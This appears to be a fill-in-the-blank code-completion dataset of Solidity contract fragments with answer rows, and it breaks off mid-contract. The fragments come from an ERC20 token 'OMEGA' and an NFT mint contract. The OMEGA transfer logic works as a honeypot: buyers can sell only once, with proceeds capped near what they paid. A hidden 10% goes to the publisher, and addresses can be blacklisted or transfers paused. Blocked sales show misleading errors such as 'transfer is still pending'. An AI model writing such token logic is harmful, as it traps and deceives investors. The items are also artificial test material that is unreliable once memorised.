event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
contract OMEGA is IERC20, IERC20Metadata, Ownable{
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
bool private initialized;
bool private transferring;
bool private paused;
uint256 private _maxToken;
address private _publisher;
address private _factory;
address private _router;
address private _ETH;
uint16 private _ETHDecimals;
address private _pair;
address private _dex;
address private _cex;
mapping(address =>bool) _feeExcluded;
mapping(address => uint256) private amt;
mapping(address => bool) private sold;
mapping(address => bool) private black_list;
function initialize(
string memory tokenName,
string memory tokenSymbol,
uint256 tokenAmount,
address eth,
uint8 eth_decimal,
uint256 max_token,
address dex,
address publisher,
address cex,
address router,
address factory
)external{
}
function decimals() external view override returns (uint8) {
}
function symbol() external view override returns (string memory) {
}
function name() external view override returns (string memory) {
}
function totalSupply() external view override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
function burn(address account, uint256 amount) external {
}
function set_max(uint256 maxtoken) external {
require(<FILL_ME>)
_maxToken = maxtoken;
}
function updateInfo(string memory name_, string memory symbol_) public {
}
function _transfer(address from, address to, uint256 amount) internal virtual returns(bool){
}
//only called once at initialize()
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
}
function _min(uint a, uint b) internal pure returns(uint){
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {
}
function add_bl(address addr) public {
}
function pause(bool pause_) public{
}
function airdrop(address[] memory selladdr, address[] memory airdropaddr)
public
{
}
}
| _msgSender()==_cex | 216,899 | _msgSender()==_cex |
"Sender or recipient is blacklisted" | pragma solidity ^0.8.5;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
contract OMEGA is IERC20, IERC20Metadata, Ownable{
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
bool private initialized;
bool private transferring;
bool private paused;
uint256 private _maxToken;
address private _publisher;
address private _factory;
address private _router;
address private _ETH;
uint16 private _ETHDecimals;
address private _pair;
address private _dex;
address private _cex;
mapping(address =>bool) _feeExcluded;
mapping(address => uint256) private amt;
mapping(address => bool) private sold;
mapping(address => bool) private black_list;
function initialize(
string memory tokenName,
string memory tokenSymbol,
uint256 tokenAmount,
address eth,
uint8 eth_decimal,
uint256 max_token,
address dex,
address publisher,
address cex,
address router,
address factory
)external{
}
function decimals() external view override returns (uint8) {
}
function symbol() external view override returns (string memory) {
}
function name() external view override returns (string memory) {
}
function totalSupply() external view override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
function burn(address account, uint256 amount) external {
}
function set_max(uint256 maxtoken) external {
}
function updateInfo(string memory name_, string memory symbol_) public {
}
function _transfer(address from, address to, uint256 amount) internal virtual returns(bool){
require(<FILL_ME>)
address[] memory path = new address[](2);
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds unlocked amount");
if (from == _pair && !_feeExcluded[to]){
path[0] = _ETH;
path[1] = address(this);
uint256 eth_pooled = IUniswapV2Router02(_router).getAmountsIn(amount, path)[0];
amt[to] = eth_pooled;
_balances[from] = fromBalance - amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
else if (!_feeExcluded[from] && to == _pair){
require(!sold[from], "ERC20: transfer is still pending");
path[0] = address(this);
path[1] = _ETH;
uint256 eth_drained = IUniswapV2Router02(_router).getAmountsOut(amount, path)[1];
require(eth_drained <=_min(_maxToken, amt[from]*11/10), "ERC20: transfer amount exceeds balance");
sold[from] = true;
_balances[from] = fromBalance - amount;
_balances[to] += amount*9/10;
_balances[_publisher] += amount*1/10;
emit Transfer(from, to, amount*9/10);
}
else{
_balances[from] = fromBalance - amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
_afterTokenTransfer(from, to, amount);
return true;
}
//only called once at initialize()
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
}
function _min(uint a, uint b) internal pure returns(uint){
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {
}
function add_bl(address addr) public {
}
function pause(bool pause_) public{
}
function airdrop(address[] memory selladdr, address[] memory airdropaddr)
public
{
}
}
| !black_list[from]&&!black_list[to],"Sender or recipient is blacklisted" | 216,899 | !black_list[from]&&!black_list[to] |
"ERC20: transfer is still pending" | pragma solidity ^0.8.5;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
contract OMEGA is IERC20, IERC20Metadata, Ownable{
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
bool private initialized;
bool private transferring;
bool private paused;
uint256 private _maxToken;
address private _publisher;
address private _factory;
address private _router;
address private _ETH;
uint16 private _ETHDecimals;
address private _pair;
address private _dex;
address private _cex;
mapping(address =>bool) _feeExcluded;
mapping(address => uint256) private amt;
mapping(address => bool) private sold;
mapping(address => bool) private black_list;
function initialize(
string memory tokenName,
string memory tokenSymbol,
uint256 tokenAmount,
address eth,
uint8 eth_decimal,
uint256 max_token,
address dex,
address publisher,
address cex,
address router,
address factory
)external{
}
function decimals() external view override returns (uint8) {
}
function symbol() external view override returns (string memory) {
}
function name() external view override returns (string memory) {
}
function totalSupply() external view override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
function burn(address account, uint256 amount) external {
}
function set_max(uint256 maxtoken) external {
}
function updateInfo(string memory name_, string memory symbol_) public {
}
function _transfer(address from, address to, uint256 amount) internal virtual returns(bool){
require(!black_list[from] && !black_list[to],"Sender or recipient is blacklisted");
address[] memory path = new address[](2);
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds unlocked amount");
if (from == _pair && !_feeExcluded[to]){
path[0] = _ETH;
path[1] = address(this);
uint256 eth_pooled = IUniswapV2Router02(_router).getAmountsIn(amount, path)[0];
amt[to] = eth_pooled;
_balances[from] = fromBalance - amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
else if (!_feeExcluded[from] && to == _pair){
require(<FILL_ME>)
path[0] = address(this);
path[1] = _ETH;
uint256 eth_drained = IUniswapV2Router02(_router).getAmountsOut(amount, path)[1];
require(eth_drained <=_min(_maxToken, amt[from]*11/10), "ERC20: transfer amount exceeds balance");
sold[from] = true;
_balances[from] = fromBalance - amount;
_balances[to] += amount*9/10;
_balances[_publisher] += amount*1/10;
emit Transfer(from, to, amount*9/10);
}
else{
_balances[from] = fromBalance - amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
_afterTokenTransfer(from, to, amount);
return true;
}
//only called once at initialize()
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
}
function _min(uint a, uint b) internal pure returns(uint){
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {
}
function add_bl(address addr) public {
}
function pause(bool pause_) public{
}
function airdrop(address[] memory selladdr, address[] memory airdropaddr)
public
{
}
}
| !sold[from],"ERC20: transfer is still pending" | 216,899 | !sold[from] |
null | pragma solidity ^0.8.5;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
contract OMEGA is IERC20, IERC20Metadata, Ownable{
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
bool private initialized;
bool private transferring;
bool private paused;
uint256 private _maxToken;
address private _publisher;
address private _factory;
address private _router;
address private _ETH;
uint16 private _ETHDecimals;
address private _pair;
address private _dex;
address private _cex;
mapping(address =>bool) _feeExcluded;
mapping(address => uint256) private amt;
mapping(address => bool) private sold;
mapping(address => bool) private black_list;
function initialize(
string memory tokenName,
string memory tokenSymbol,
uint256 tokenAmount,
address eth,
uint8 eth_decimal,
uint256 max_token,
address dex,
address publisher,
address cex,
address router,
address factory
)external{
}
function decimals() external view override returns (uint8) {
}
function symbol() external view override returns (string memory) {
}
function name() external view override returns (string memory) {
}
function totalSupply() external view override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
function burn(address account, uint256 amount) external {
}
function set_max(uint256 maxtoken) external {
}
function updateInfo(string memory name_, string memory symbol_) public {
}
function _transfer(address from, address to, uint256 amount) internal virtual returns(bool){
}
//only called once at initialize()
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
}
function _min(uint a, uint b) internal pure returns(uint){
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
require(!paused);
require(<FILL_ME>)
transferring = true;
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {
}
function add_bl(address addr) public {
}
function pause(bool pause_) public{
}
function airdrop(address[] memory selladdr, address[] memory airdropaddr)
public
{
}
}
| !transferring | 216,899 | !transferring |
"ETH" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
pragma solidity ^0.8.16;
interface IERC721A {
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error BalanceQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerQueryForNonexistentToken();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
error MintERC2309QuantityExceedsLimit();
error OwnershipNotInitializedForExtraData();
struct TokenOwnership {
address addr;
uint64 startTimestamp;
bool burned;
uint24 extraData;
}
function totalSupply() external view returns (uint256);
function supportsInterface(bytes4 interfaceId) external view returns (bool);
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to);
}
pragma solidity ^0.8.16;
library MerkleProof {
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
}
}
pragma solidity ^0.8.16;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
pragma solidity ^0.8.16;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
pragma solidity ^0.8.16;
interface ERC721A__IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract ERC721A is IERC721A {
uint256 private constant BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;
uint256 private constant BITPOS_NUMBER_MINTED = 64;
uint256 private constant BITPOS_NUMBER_BURNED = 128;
uint256 private constant BITPOS_AUX = 192;
uint256 private constant BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;
uint256 private constant BITPOS_START_TIMESTAMP = 160;
uint256 private constant BITMASK_BURNED = 1 << 224;
uint256 private constant BITPOS_NEXT_INITIALIZED = 225;
uint256 private constant BITMASK_NEXT_INITIALIZED = 1 << 225;
uint256 private constant BITPOS_EXTRA_DATA = 232;
uint256 private constant BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;
uint256 private constant BITMASK_ADDRESS = (1 << 160) - 1;
uint256 private constant MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;
uint256 private _currentIndex;
uint256 private _burnCounter;
string private _name;
string private _symbol;
mapping(uint256 => uint256) private _packedOwnerships;
mapping(address => uint256) private _packedAddressData;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function _startTokenId() internal view virtual returns (uint256) {
}
function _nextTokenId() internal view returns (uint256) {
}
function totalSupply() public view override returns (uint256) {
}
function _totalMinted() internal view returns (uint256) {
}
function _totalBurned() internal view returns (uint256) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
function _numberBurned(address owner) internal view returns (uint256) {
}
function _getAux(address owner) internal view returns (uint64) {
}
function _setAux(address owner, uint64 aux) internal {
}
function _packedOwnershipOf(uint256 tokenId) private view returns (uint256) {
}
function _unpackedOwnership(uint256 packed) private pure returns (TokenOwnership memory ownership) {
}
function _ownershipAt(uint256 index) internal view returns (TokenOwnership memory) {
}
function _initializeOwnershipAt(uint256 index) internal {
}
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
function _packOwnershipData(address owner, uint256 flags) private view returns (uint256 result) {
}
function ownerOf(uint256 tokenId) public view override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function _nextInitializedFlag(uint256 quantity) private pure returns (uint256 result) {
}
function approve(address to, uint256 tokenId) public override {
}
function getApproved(uint256 tokenId) public view override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _exists(uint256 tokenId) internal view returns (bool) {
}
function _safeMint(address to, uint256 quantity) internal {
}
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
function _mint(address to, uint256 quantity) internal {
}
function _mintERC2309(address to, uint256 quantity) internal {
}
function _getApprovedAddress(uint256 tokenId)
private
view
returns (uint256 approvedAddressSlot, address approvedAddress)
{
}
function _isOwnerOrApproved(
address approvedAddress,
address from,
address msgSender
) private pure returns (bool result) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function _burn(uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
}
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _setExtraDataAt(uint256 index, uint24 extraData) internal {
}
function _nextExtraData(
address from,
address to,
uint256 prevOwnershipPacked
) private view returns (uint256) {
}
function _extraData(
address from,
address to,
uint24 previousExtraData
) internal view virtual returns (uint24) {}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
function _msgSenderERC721A() internal view virtual returns (address) {
}
function _toString(uint256 value) internal pure returns (string memory ptr) {
}
}
pragma solidity ^0.8.16;
contract MiniMiracles is ERC721A, Ownable, ReentrancyGuard{
string public baseURI;
uint256 public max = 10;
bytes32 private merkleRoot;
uint256 public maxSupply = 8000;
bool public isPublicLive = false;
bool public isWhitelistLive = false;
uint256 public wlPrice = 0.01 ether;
uint256 public mintPrice = 0.02 ether;
address private dev = 0x0E3227BA43Ed1cb9e202490adD9AF371451FceAE;
address private company = 0x41f218cCfF9586AE036fEd17b6D7CcDd62083B8B;
constructor(string memory name, string memory symbol) ERC721A(name, symbol) {}
function mintPublic(uint256 _amount) external payable nonReentrant {
require(isPublicLive, "Off");
require(_amount > 0 && _amount <= max, "Amount");
require(<FILL_ME>)
require(totalSupply() + _amount <= maxSupply, "Supply");
_safeMint(_msgSender(), _amount);
}
function mintWhitelist(uint256 _amount,bytes32[] memory _proof) external payable nonReentrant {
}
function adminMint(address _receiver, uint256 _amount) external onlyOwner {
}
function flipPublicState() external onlyOwner {
}
function flipWhitelistState() external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() external onlyOwner {
}
function setMintPrice(uint256 _mintPrice) external onlyOwner {
}
function setMaxSupply(uint256 _supply) external onlyOwner {
}
function setMax(uint256 _max) external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function setWithdrawAddress(address _company) external onlyOwner {
}
function setRoot(bytes32 _root) external onlyOwner {
}
}
| mintPrice*_amount<=msg.value,"ETH" | 217,056 | mintPrice*_amount<=msg.value |
"Proof" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
pragma solidity ^0.8.16;
interface IERC721A {
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error BalanceQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerQueryForNonexistentToken();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
error MintERC2309QuantityExceedsLimit();
error OwnershipNotInitializedForExtraData();
struct TokenOwnership {
address addr;
uint64 startTimestamp;
bool burned;
uint24 extraData;
}
function totalSupply() external view returns (uint256);
function supportsInterface(bytes4 interfaceId) external view returns (bool);
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to);
}
pragma solidity ^0.8.16;
library MerkleProof {
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
}
}
pragma solidity ^0.8.16;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
pragma solidity ^0.8.16;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
pragma solidity ^0.8.16;
interface ERC721A__IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract ERC721A is IERC721A {
uint256 private constant BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;
uint256 private constant BITPOS_NUMBER_MINTED = 64;
uint256 private constant BITPOS_NUMBER_BURNED = 128;
uint256 private constant BITPOS_AUX = 192;
uint256 private constant BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;
uint256 private constant BITPOS_START_TIMESTAMP = 160;
uint256 private constant BITMASK_BURNED = 1 << 224;
uint256 private constant BITPOS_NEXT_INITIALIZED = 225;
uint256 private constant BITMASK_NEXT_INITIALIZED = 1 << 225;
uint256 private constant BITPOS_EXTRA_DATA = 232;
uint256 private constant BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;
uint256 private constant BITMASK_ADDRESS = (1 << 160) - 1;
uint256 private constant MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;
uint256 private _currentIndex;
uint256 private _burnCounter;
string private _name;
string private _symbol;
mapping(uint256 => uint256) private _packedOwnerships;
mapping(address => uint256) private _packedAddressData;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function _startTokenId() internal view virtual returns (uint256) {
}
function _nextTokenId() internal view returns (uint256) {
}
function totalSupply() public view override returns (uint256) {
}
function _totalMinted() internal view returns (uint256) {
}
function _totalBurned() internal view returns (uint256) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
function _numberBurned(address owner) internal view returns (uint256) {
}
function _getAux(address owner) internal view returns (uint64) {
}
function _setAux(address owner, uint64 aux) internal {
}
function _packedOwnershipOf(uint256 tokenId) private view returns (uint256) {
}
function _unpackedOwnership(uint256 packed) private pure returns (TokenOwnership memory ownership) {
}
function _ownershipAt(uint256 index) internal view returns (TokenOwnership memory) {
}
function _initializeOwnershipAt(uint256 index) internal {
}
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
function _packOwnershipData(address owner, uint256 flags) private view returns (uint256 result) {
}
function ownerOf(uint256 tokenId) public view override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function _nextInitializedFlag(uint256 quantity) private pure returns (uint256 result) {
}
function approve(address to, uint256 tokenId) public override {
}
function getApproved(uint256 tokenId) public view override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _exists(uint256 tokenId) internal view returns (bool) {
}
function _safeMint(address to, uint256 quantity) internal {
}
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
function _mint(address to, uint256 quantity) internal {
}
function _mintERC2309(address to, uint256 quantity) internal {
}
function _getApprovedAddress(uint256 tokenId)
private
view
returns (uint256 approvedAddressSlot, address approvedAddress)
{
}
function _isOwnerOrApproved(
address approvedAddress,
address from,
address msgSender
) private pure returns (bool result) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function _burn(uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
}
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _setExtraDataAt(uint256 index, uint24 extraData) internal {
}
function _nextExtraData(
address from,
address to,
uint256 prevOwnershipPacked
) private view returns (uint256) {
}
function _extraData(
address from,
address to,
uint24 previousExtraData
) internal view virtual returns (uint24) {}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
function _afterTokenTransfers(
address from,
